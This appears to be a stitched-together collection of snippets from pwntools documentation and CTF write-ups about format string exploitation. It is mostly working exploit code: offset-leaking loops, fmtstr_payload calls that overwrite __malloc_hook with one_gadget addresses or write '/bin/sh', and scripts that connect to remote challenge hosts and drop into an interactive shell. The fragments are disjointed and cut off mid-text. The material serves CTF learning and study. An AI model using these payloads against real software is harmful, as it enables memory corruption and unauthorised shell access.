Examples · >>> def send_fmt_payload(payload): ... print(repr(payload)) ... >>> f = FmtStr(send_fmt_payload, offset=5) >>> f.write(0x08040506, 0x1337babe) >>> f.execute_writes() b'c$hhn6c$hhn1c$hhnL$hhn\t\x05\x04\x08\x08\x05\x04\x08\x07\x05\x04\x08\x06\x05\x04\x08' >>> f2 = FmtStr(send_fmt_payload, offset=5) >>> f2.write(0x08040506, p16(0x1337)) >>> f2.execute_writes() b'c$hhn6c$hhnaa\x07\x05\x04\x08\x06\x05\x04\x08' __weakref__[source] ·

>>> context.clear(arch='amd64') >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x0022419374c%1$n972547906c%2$n' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\...

r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str

Both the source and deployment files are placed in the corresponding folder [fmt_blind_stack] (https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/blind_fmt_stack). We randomly entered %p and the program echoed the following information. ➜ blind_fmt_stack git:(master) ✗ nc localhost 9999 %p 0x7ffd4799beb0 G�flag is on the stack% Tell us that the flag is on the stack and that the program is 64-bit and that there should be a format string vulnerability. ... from pwn import * context.log_level = 'error' def leak(payload): sh = remote('127.0.0.1', 9999) sh.sendline(payload) data = sh.recvuntil('\n', drop=True) if data.startswith('0x'): print p64(int(data, 16)) sh.close() i = 1 while 1: payload = '%{}$p'.format(i) leak(payload) i += 1

July 14, 2020 - Or you can be lazy and use pwntools ... FmtStr : from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload from pwn import * context.clear(arch = 'amd64') def send_payload(payload): s.sendline(payload) r = s.recvline() s.recvline() return r s = process('./exploitme') print(FmtStr(execute_fmt=send_payload).offset) ...

Fortunately, pwntool provides a fmtstr exploit generator for you. fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') - offset: the first formatter's offset you control - writes: dict with addr, value {addr: value, addr2: value2} - numbwritten: the number of bytes already written ...

January 4, 2020 - >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')

September 12, 2024 - Now we can tell pwntools to find the offset with just one line of code. This takes the function as an argument and attacks it over and over again until it can read it’s own value in the returned data, determining the offset automatically. With the fmtstr_payload() function, we can generate a payload that will write any arbitrary data into any arbitrary address.

io = conn() io.recvline() # We offset +1 because of that the data prefixing this is also a printf magic # align 18 for magic # pwntools doesn't really expect you to prefix this with another format string payload1 = fmtstr_payload(offset+1, {exe.symbols['__bss_start']: b'sh'}, numbwritten=18, write_size='short') print(payload1) print('Symbol we look for is', exe.symbols['__bss_start']) io.sendline(b'$lx '+payload1) canary = io.recvline().strip().split()[0] canary = int(canary, 16)

# payload = fmtstr_payload(offset, {location : value}) def make_and_send_payload(offset, where, what, size): payload = fmtstr_payload(offset, {where: what}, write_size=size) r.sendlineafter(b">> ", "2") # print(f"Wrote: {what}") r.sendlineafter(b">> ", payload)

Pwntools is a powerful library for dealing with format strings, but it might not always work perfectly for every scenario. If you encounter issues with it, consider simplifying your approach and building up the solution manually. Pwntools has useful functions like fmtstr_payload() and leak_stack(), which can be helpful in building your payload.

Pwntools has a feature for automating %n format string exploits: Copy · from pwn import * payload = fmtstr_payload(offset, {location : value}) Example if the user input offset is 7 and the targeted address is 0x41414141 and the arbitrary chose ...

from pwn import * context.binary = elf = ELF('./on_the_hook') libc = ELF('./libc.so.6') #p = elf.process() p = remote('ctf.k3rn3l4rmy.com', 2201) p.recvline() def leakat(i, p): p.sendline(f'%{i}$p') rec = p.recvline() leak = str(rec[:-1])[2:-1] log.info(f'@ {i}: {leak}') return leak ret_libc = leakat(27, p) print(ret_libc) libc.address = int(ret_libc,16) - 0x18637 log.success(f'Libc base @ {hex(libc.address)}') log.info(f'malloc hook @ {hex(libc.sym.__malloc_hook)}') one1 = libc.address + 0x3ac5c one2 = libc.address + 0x3ac5e one3 = libc.address + 0x3ac62 one4 = libc.address + 0x3ac69 one5 = libc.address + 0x5fbc5 one6 = libc.address + 0x5fbc6 p.sendline(fmtstr_payload(7,{libc.sym.__malloc_hook:one3})) p.sendline('�999c') p.interactive()

from pwn import * conn = remote("35.240.143.82", 4203) context.clear(arch='amd64') payload = fmtstr_payload(0x6, {0x404058: b'/bin/sh'}, write_size='short') conn.wait(1) print("sending" + str(payload)) conn.sendline(payload) print(conn.recv()) conn.sendline("quit") conn.interactive()

payload = fmtstr_payload(6,payload_writes,write_size='short') p.sendline(payload) p.interactive() ```

Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines. #!/usr/bin/python from pwn import * token_addr = 0x0804a028 def main(): p = process("../build/2_overwrite") payload = fmtstr_payload(5, {token_addr: 0xcafebabe}) log.info("Sending payload: %s" % payload) p.sendline(payload) data = p.recvall() realdata = data[data.find("Token"):] log.success(realdata) if __name__ == "__main__": main()

April 18, 2018 - def fmt(s): print repr(s) f = FmtStr(fmt, offset=0) f.write(0x080420,0x12345678) f.execute_writes() #result: ' \x04\x08\x00!\x04\x08\x00"\x04\x08\x00#\x04\x08\x004c%0$hhn"2c%1$hhn"2c%2$hhn"2c%3$hhn' some char like '\x00' will terminate the ...

payload = b"6465x%7$n" + b"B85x%8$hn" + p64(target_address+2) + p64(target_address)

With the limit 1, our former gadgets like fmt_str and fmtstr_payload of pwntools cannot meet the needs, so we have to write a more compact payload (with hn to write every double bytes, instead of hnn to write every byte).

VAL_TO_WRITE = 0x8048618 ADDR = 0x8049868 # Wrapper for vuln binary def exec_fmt(payload): p = process('./vuln_binary') p.sendline(payload) return p.recvall() # Construct payload context.clear(arch = 'i386') payload = fmtstr_payload(FmtStr(exec_fmt).offset, {ADDR: VAL_TO_WRITE}, numbwritten=0, write_size='byte')